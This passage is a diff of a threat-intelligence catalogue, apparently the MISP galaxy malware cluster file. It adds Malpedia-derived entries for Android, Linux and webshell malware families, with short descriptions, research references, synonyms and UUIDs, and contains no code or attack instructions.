"", "meta": { @@ -809,7 +942,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ermac", - "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html" + "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html", + "https://twitter.com/ESETresearch/status/1445618031464357888", + "https://blog.cyble.com/2022/05/25/ermac-back-in-action/" ], "synonyms": [], "type": [] @@ -837,7 +972,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot", - "https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/" + "https://www.bleepingcomputer.com/news/security/exobot-author-calls-it-quits-and-sells-off-banking-trojan-source-code/", + "https://www.bleepingcomputer.com/news/security/new-exo-android-trojan-sold-on-hacking-forums-dark-web/", + "https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/", + "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", + "https://www.bleepingcomputer.com/news/security/source-code-for-exobot-android-banking-trojan-leaked-online/", + "https://blog.cyble.com/2022/03/24/coper-banking-trojan/", + "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html" ], "synonyms": [], "type": [] @@ -861,6 +1002,21 @@ "uuid": "462bc006-b7bd-4e10-afdb-52baf86121e8", "value": "Exodus" }, + { + "description": "Facebook Credential Stealer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.facestealer", + "https://labs.k7computing.com/index.php/facestealer-the-rise-of-facebook-credential-stealer-malware/", + "https://threatpost.com/facestealer-trojan-google-play-facebook/179015/", + "https://www.trendmicro.com/en_us/research/22/e/fake-mobile-apps-steal-facebook-credentials--crypto-related-keys.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c35ebd96-d2f8-4add-b86f-f552ed5dfa9b", + "value": "FaceStealer" + }, { "description": "", "meta": { @@ -974,28 +1130,38 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot", "https://mobile.twitter.com/alberto__segura/status/1400396365759500289", "https://twitter.com/alberto__segura/status/1399249798063087621?s=20", + "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", "https://www.proofpoint.com/us/blog/threat-insight/flubot-android-malware-spreading-rapidly-through-europe-may-hit-us-soon", "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368", + "https://www.prodaft.com/m/reports/FluBot_4.pdf", + "https://www.europol.europa.eu/media-press/newsroom/news/takedown-of-sms-based-flubot-spyware-infecting-android-phones", "https://cryptax.medium.com/android-flubot-preparing-for-a-new-campaign-2f7563fc6c06", "https://twitter.com/alberto__segura/status/1402615237296148483", "https://twitter.com/malwrhunterteam/status/1359939300238983172", "https://twitter.com/alberto__segura/status/1384840011892285440", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", "https://medium.com/csis-techblog/the-brief-glory-of-cabassous-flubot-a-private-android-banking-botnet-bc2ed7917027", "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", "https://securityintelligence.com/posts/story-of-fakechat-malware/", "https://news.netcraft.com/archives/2021/08/04/flubot-malware-spreads-to-australia.html", "https://medium.com/walmartglobaltech/a-look-at-an-android-bot-from-unpacking-to-dga-e331554f9fb9", + "https://www.f5.com/labs/articles/threat-intelligence/flubots-authors-employ-creative-and-sophisticated-techniques-to-achieve-their-goals-in-version-50-and-beyond", "https://blog.cyble.com/2021/09/09/flubot-variant-masquerading-as-the-default-android-voicemail-app/", "https://www.nortonlifelock.com/blogs/research-group/flubot-targets-android-phone-users", "https://news.netcraft.com/archives/2021/08/17/resurgent-flubot-malware-targets-german-and-polish-banks.html", + "https://www.bitsight.com/blog/flubot-malware-persists-most-prevalent-germany-and-spain", "https://blog.zimperium.com/flubot-vs-zimperium/", + "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html", "https://hispasec.com/resources/FedexBanker.pdf", "https://twitter.com/alberto__segura/status/1395675479194095618", "https://raw.githubusercontent.com/prodaft/malware-ioc/master/FluBot/FluBot.pdf", + "https://www.ncsc.admin.ch/22w12-de", "https://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/", "https://therecord.media/despite-arrests-in-spain-flubot-operations-explode-across-europe-and-japan/", "https://therecord.media/flubot-malware-gang-arrested-in-barcelona/", + "https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html", "https://twitter.com/alberto__segura/status/1404098461440659459", + "https://www.cert.govt.nz/individuals/news-and-events/parcel-delivery-text-message-infecting-android-phones/", "https://securityblog.switch.ch/2021/06/19/android-flubot-enters-switzerland/" ], "synonyms": [ @@ -1194,6 +1360,32 @@ "uuid": "13dc1ec7-aba7-4553-b990-8323405a1d32", "value": "GPlayed" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.grifthorse", + "https://blog.zimperium.com/grifthorse-android-trojan-steals-millions-from-over-10-million-victims-globally/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fe40a0b2-be48-41c5-8814-7fa3a6a993b9", + "value": "GriftHorse" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.guerrilla", + "https://www.trendmicro.com/en_us/research/22/b/sms-pva-services-use-of-infected-android-phones-reveals-flaws-in-sms-verification.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "57de6ac2-8cf0-4022-aee2-5f76e3dbd503", + "value": "Guerrilla" + }, { "description": "Group-IB describes Gustuff as a mobile Android Trojan, which includes potential targets of customers in leading international banks, users of cryptocurrency services, popular ecommerce websites and marketplaces. Gustuff has previously never been reported. Gustuff is a new generation of malware complete with fully automated features designed to steal both fiat and crypto currency from user accounts en masse. The Trojan uses the Accessibility Service, intended to assist people with disabilities.\r\nThe analysis of Gustuff sample revealed that the Trojan is equipped with web fakes designed to potentially target users of Android apps of top international banks including Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, and crypto services such as Bitcoin Wallet, BitPay, Cryptopay, Coinbase etc. Group-IB specialists discovered that Gustuff could potentially target users of more than 100 banking apps, including 27 in the US, 16 in Poland, 10 in Australia, 9 in Germany, and 8 in India and users of 32 cryptocurrency apps.", "meta": { @@ -1256,6 +1448,20 @@ "uuid": "0185f9f6-018e-4eb5-a214-d810cb759a38", "value": "HenBox" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hermit", + "https://de.lookout.com/blog/hermit-spyware-discovery", + "https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b95f25a0-ba22-4320-95e3-323fbf852846", + "value": "Hermit" + }, { "description": "", "meta": { @@ -1286,12 +1492,28 @@ "value": "HiddenAd" }, { - "description": "", + "description": "RAT, which can be used to extract sensitive information, e.g. contact lists, txt messages, location information.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hilalrat", + "https://thehackernews.com/2022/04/microsoft-obtains-court-order-to-take.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "96bea6aa-3202-4352-8e36-fa05c677c0e8", + "value": "HilalRAT" + }, + { + "description": "Avira states that Hydra is an Android BankBot variant, a type of malware designed to steal banking credentials. The way it does this is by requesting the user enables dangerous permissions such as accessibility and every time the banking app is opened, the malware is hijacking the user by overwriting the legit banking application login page with a malicious one. The goal is the same, to trick the user to enter his login credentials so that it will go straight to the malware authors.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hydra", + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", "https://pentest.blog/android-malware-analysis-dissecting-hydra-dropper/", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html" + "https://www.avira.com/en/blog/avira-labs-research-reveals-hydra-banking-trojan-2-0", + "https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/", + "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html" ], "synonyms": [], "type": [] @@ -1355,7 +1577,9 @@ "https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html", "https://labs.k7computing.com/?p=22199" ], - "synonyms": [], + "synonyms": [ + "Bread" + ], "type": [] }, "uuid": "aa2ad8f4-3c46-4f16-994b-2a79c7481cac", @@ -1437,10 +1661,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot", "https://drive.google.com/file/d/144cOnM6fxfuBeP0V2JQshp8C0Zlk_0kH/view", - "https://isc.sans.edu/diary/27282", + "https://github.com/vc0RExor/Malware-Threat-Reports/blob/main/Lokibot/Machete-Weapons-Lokibot/Machete%20weapons-Lokibot_EN.pdf", "https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", + "https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html", "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", - "https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html" + "https://isc.sans.edu/diary/27282" ], "synonyms": [], "type": [] @@ -1491,6 +1716,21 @@ "uuid": "f691663a-b360-4c0d-a4ee-e9203139c38e", "value": "Marcher" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.masterfred", + "https://twitter.com/AvastThreatLabs/status/1458162276708483073" + ], + "synonyms": [ + "Brox" + ], + "type": [] + }, + "uuid": "87131ea3-4c5e-42ba-a8e2-edd62a0bcd8d", + "value": "MasterFred" + }, { "description": "", "meta": { @@ -1511,7 +1751,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.medusa", "https://twitter.com/ThreatFabric/status/1285144962695340032", - "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html" + "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", + "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html" ], "synonyms": [ "Gorgona" @@ -1555,10 +1796,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.moqhao", "https://cryptax.medium.com/a-native-packer-for-android-moqhao-6362a8412fe1", + "https://team-cymru.com/blog/2021/08/11/moqhao-part-1-5-high-level-trends-of-recent-campaigns-targeting-japan/", "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf", "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", + "https://team-cymru.com/blog/2021/01/20/moqhao-part-1-identifying-phishing-infrastructure/", "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/", + "https://team-cymru.com/blog/2022/04/07/moqhao-part-2-continued-european-expansion/", "https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html", "https://www.trendmicro.com/en_us/research/18/d/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing.html", "https://securelist.com/roaming-mantis-part-v/96250/", @@ -1662,6 +1906,35 @@ "uuid": "a73375a5-3384-4515-8538-b598d225586d", "value": "PhantomLance" }, + { + "description": "According to Zimperium, PhoneSpy is a spyware aimed at South Korean residents with Android devices.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.phonespy", + "https://blog.zimperium.com/phonespy-the-app-based-cyberattack-snooping-south-korean-citizens/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ff00bbb6-6856-4cf5-adde-d1cc536dd0e2", + "value": "PhoneSpy" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixstealer", + "https://research.checkpoint.com/2021/pixstealer-a-new-wave-of-android-banking-trojans-abusing-accessibility-services/", + "https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/" + ], + "synonyms": [ + "BrazKing" + ], + "type": [] + }, + "uuid": "5d047596-eb67-4fed-b41d-65fa975150c5", + "value": "PixStealer" + }, { "description": "", "meta": { @@ -1731,6 +2004,19 @@ "uuid": "661471fe-2cb6-4b83-9deb-43225192a849", "value": "Premier RAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.rafelrat", + "https://github.com/swagkarna/Rafel-Rat" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cdaa0a6d-3709-4e6f-8807-fff388baaba0", + "value": "Rafel RAT" + }, { "description": "", "meta": { @@ -1870,6 +2156,22 @@ "uuid": "a7c058cf-d482-42cf-9ea7-d5554287ea65", "value": "Sauron Locker" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.sharkbot", + "https://blog.fox-it.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/", + "https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/", + "https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/", + "https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europe" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7b20fdb1-5aee-4f17-a88e-bcd72c893f0a", + "value": "SharkBot" + }, { "description": "", "meta": { @@ -1994,7 +2296,7 @@ "value": "SpyC23" }, { - "description": "", + "description": "SpyMax is a popular Android surveillance tool. Its predecessor, SpyNote, was one of the most widely used spyware frameworks.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spymax", @@ -2018,6 +2320,7 @@ "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", + "https://ti.qianxin.com/blog/articles/Blade-hawk-The-activities-of-targeted-the-Middle-East-and-West-Asia-are-exposed/", "https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan" ], "synonyms": [], @@ -2095,6 +2398,19 @@ "uuid": "46151a0d-aa0a-466c-9fff-c2c3474f572e", "value": "TalentRAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.tangle_bot", + "https://www.proofpoint.com/us/blog/threat-insight/mobile-malware-tanglebot-untangled" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1e37d712-df02-48aa-82fc-28fa80c92c2b", + "value": "TangleBot" + }, { "description": "", "meta": { @@ -2134,6 +2450,19 @@ "uuid": "5863d2eb-920d-4263-8c4b-7a16d410ff89", "value": "ThiefBot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.tianyspy", + "https://www.trendmicro.com/en_us/research/22/a/tianyspy-malware-uses-smishing-disguised-as-message-from-telco.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8260dda5-f608-48f2-9341-28dbc5a8e895", + "value": "TianySpy" + }, { "description": "", "meta": { @@ -2202,7 +2531,21 @@ "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_001" + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ultima_sms", + "https://blog.avast.com/premium-sms-scam-apps-on-play-store-avast" + ], + "synonyms": [], + "type": [] + }, + "uuid": "65476d5f-321f-4385-867a-383094cadb58", + "value": "UltimaSMS" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_001", + "https://www.welivesecurity.com/2017/02/14/new-android-trojan-mimics-user-clicks-download-dangerous-malware/" ], "synonyms": [], "type": [] @@ -2260,6 +2603,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_006", "https://twitter.com/MsftSecIntel/status/1441524497924833282?s=20", "https://blog.cyble.com/2021/09/17/sophisticated-spyware-posing-as-a-banking-application-to-target-korean-users/", + "https://medium.com/@ThreatMiner/android-trojan-targeting-korean-demographic-using-github-for-c2-8219fc39f749", "https://twitter.com/ReBensk/status/1438027183490940931" ], "synonyms": [], @@ -2268,6 +2612,47 @@ "uuid": "2263198d-af38-4e38-a7a8-4435d29d88e8", "value": "Unidentified APK 006" }, + { + "description": "According to Cyble, this is an Android application that pretends to be the legitimate application for the Army Mobile Aadhaar App Network (ARMAAN), intended to be used by Indian army personnel. The application was customized to include RAT functionality.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_007", + "https://blog.cyble.com/2022/01/28/indian-army-personnel-face-remote-access-trojan-attacks/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "75c641c4-17df-43c4-9773-c27464c5d2ff", + "value": "Unidentified 007 (ARMAAN RAT)" + }, + { + "description": "Android malware distributed through fake shopping websites targeting Malaysian users, targeting banking information.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_008", + "https://www.welivesecurity.com/2022/04/06/fake-eshops-prowl-banking-credentials-android-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2ffddca0-841c-4eb6-9983-ff38abb5d6d6", + "value": "Unidentified APK 008" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.vajraspy", + "https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww", + "https://twitter.com/malwrhunterteam/status/1481312752782258176", + "https://twitter.com/LukasStefanko/status/1509451238366236674" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c328b30f-e076-47dc-8c93-4d20f62c72ab", + "value": "VajraSpy" + }, { "description": "Related to the micropsia windows malware and also sometimes named micropsia.", "meta": { @@ -2298,6 +2683,22 @@ "uuid": "3482f5fe-f129-4c77-ae98-76e25f6086b9", "value": "Viper RAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.vultur", + "https://twitter.com/_icebre4ker_/status/1485651238175846400", + "https://www.threatfabric.com/blogs/vultur-v-for-vnc.html" + ], + "synonyms": [ + "Vulture" + ], + "type": [] + }, + "uuid": "49b1c344-ce13-48bf-9839-909ba57649c4", + "value": "Vultur" + }, { "description": "", "meta": { @@ -2333,7 +2734,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.wroba", - "https://www.avira.com/en/blog/the-android-banking-trojan-wroba-shifts-attack-from-south-korea-to-target-users-in-japan" + "https://www.avira.com/en/blog/the-android-banking-trojan-wroba-shifts-attack-from-south-korea-to-target-users-in-japan", + "https://securelist.com/roaming-mantis-reaches-europe/105596/" ], "synonyms": [], "type": [] @@ -2355,6 +2757,19 @@ "uuid": "4cfa42a3-71d9-43e2-bf23-daa79f326387", "value": "Xbot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xenomorph", + "https://www.threatfabric.com/blogs/xenomorph-a-newly-hatched-banking-trojan.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d202e42d-2c35-4c1c-90f1-644a8cae38f1", + "value": "Xenomorph" + }, { "description": "", "meta": { @@ -2373,7 +2788,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xrat", - "https://blog.lookout.com/xrat-mobile-threat" + "https://blog.lookout.com/xrat-mobile-threat", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf" ], "synonyms": [], "type": [] @@ -2457,6 +2873,7 @@ "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", "https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/", + "https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells/", "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf" ], "synonyms": [ @@ -2482,11 +2899,28 @@ "uuid": "d4318f40-a39a-4ce0-8d3c-246d9923d222", "value": "Unidentified ASP 001 (Webshell)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.abcbot", + "https://www.lacework.com/blog/abc-botnet-attacks-on-the-rise/", + "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/", + "https://www.cadosecurity.com/the-continued-evolution-of-abcbot/", + "https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8d17175b-4e9f-43a9-851d-898bb6696984", + "value": "Abcbot" + }, { "description": "A Linux backdoor that was apparently ported to Windows. This entry represents the Linux version. This version appears to have been written first and the Windows version was ported later, without full functionality. The Linux version offers persistence as well as some process manipulation techniques, though both versions apparently offer the ability to access the command line and execute programs as well as self-update.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.acbackdoor", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", "https://www.bleepingcomputer.com/news/security/linux-windows-users-targeted-with-new-acbackdoor-malware/" ], "synonyms": [], @@ -2495,6 +2929,27 @@ "uuid": "cd2d7040-edc4-4985-b708-b206b08cc1fe", "value": "ACBackdoor (ELF)" }, + { + "description": "A MIPS ELF binary with wiper functionality used against Viasat KA-SAT modems.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.acidrain", + "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", + "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.splunk.com/en_us/blog/security/threat-update-acidrain-wiper.html", + "https://www.bleepingcomputer.com/news/security/viasat-confirms-satellite-modems-were-wiped-with-acidrain-malware/", + "https://cybersecuritynews.com/acidrain-wiper-malware/", + "https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html", + "https://www.techtimes.com/articles/273755/20220331/viasat-hit-russia-s-wiper-malware-called-acidrain-affecting-european.htm", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6108aa3d-ea6e-47fd-9344-d333b07f5a56", + "value": "AcidRain" + }, { "description": "", "meta": { @@ -2545,18 +3000,21 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.anchor_dns", "https://www.netscout.com/blog/asert/dropping-anchor", "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", - "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30", + "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/", + "https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/", "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns", "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30", "https://www.domaintools.com/resources/blog/finding-anchordns-c2s-with-iris-investigate" ], "synonyms": [], "type": [] }, "uuid": "b88dc3ec-d94c-4e6e-a846-5d07130df550", - "value": "Anchor_DNS" + "value": "AnchorDNS" }, { "description": "", @@ -2574,6 +3032,24 @@ "uuid": "6cb47609-b03e-43d9-a4c7-8342f1011f3b", "value": "ANGRYREBEL" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.avoslocker", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux", + "https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/", + "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen", + "https://www.ic3.gov/Media/News/2022/220318.pdf", + "https://blogs.vmware.com/security/2022/02/avoslocker-modern-linux-ransomware-threats.html", + "https://blog.lexfo.fr/Avoslocker.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "465b6a74-87ca-4459-b4be-3f8b272f4485", + "value": "Avoslocker" + }, { "description": "Azazel is a Linux user-mode rootkit based off of a technique from the Jynx rootkit (LD_PRELOAD technique). Azazel is purportedly more robust than Jynx and has many more anti-analysis features ", "meta": { @@ -2587,6 +3063,19 @@ "uuid": "37374572-3346-4c00-abc9-9f6883c8866e", "value": "azazel" }, + { + "description": "B1txor20 is a malware that was discovered by 360 Netlab along others exploiting Log4J. the name is derived from using the file name \"b1t\", the XOR encrpytion algorithm, and the RC4 algorithm key length of 20 bytes. According to 360 Netlab this Backdoor for Linux platform uses DNS Tunnel to build a C2 communication channel. They also had the assumption that the malware is still in development, because of some bugs and not fully implemented features.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.b1txor20", + "https://blog.netlab.360.com/b1txor20-use-of-dns-tunneling_cn/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "05e6d9ff-93a1-429b-b856-794d9ded75df", + "value": "B1txor20" + }, { "description": "ESX and NAS modules for Babuk ransomware.", "meta": { @@ -2594,8 +3083,11 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk", "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", "https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/", "https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings", + "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d" @@ -2624,15 +3116,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite", + "https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/", "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", "https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/", "https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/", "https://www.avira.com/en/blog/a-gafgyt-variant-that-exploits-pulse-secure-cve-2020-8218", + "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", + "https://cybersecurity.att.com/blogs/labs-research/code-similarity-analysis-with-r2diaphora", "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", - "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt", "https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group", "http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/", - "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", + "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", + "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", + "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf" ], "synonyms": [ @@ -2701,21 +3198,68 @@ "uuid": "8e301f58-acef-48e7-ad8b-c27d3ed38eed", "value": "BioSet" }, + { + "description": "ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.\r\n\r\nALPHV can be configured to encrypt files using either the AES or ChaCha20 